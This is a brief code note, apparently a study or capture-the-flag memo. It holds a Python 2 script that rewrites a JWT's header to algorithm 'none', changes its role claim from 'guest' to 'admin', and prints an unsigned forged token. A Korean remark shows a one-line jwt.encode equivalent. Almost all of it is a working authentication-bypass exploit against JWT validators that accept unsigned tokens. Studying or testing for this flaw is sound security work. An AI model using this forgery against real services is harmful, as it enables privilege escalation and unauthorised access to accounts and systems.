JWT algorithm modify code

jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"
header, payload, signature  = jwt.split('.')
 
print("header decode : "+header.decode('base64'))
print("payload decode : "+(payload+"==").decode('base64')+'\n')
 
# Replacing the ALGO and the payload username
header  = header.decode('base64').replace('HS512',"none")
payload = (payload+"==").decode('base64').replace('guest','admin')
 
header  = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
 
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
 

 - jwt 모듈이 있다면 간단하게 jwt.encode(payload,key,algorithm)으로 할 수 있다.

 ex) jwt.encode({'user':'rootable','role':'admin'},'',algorithm="none")
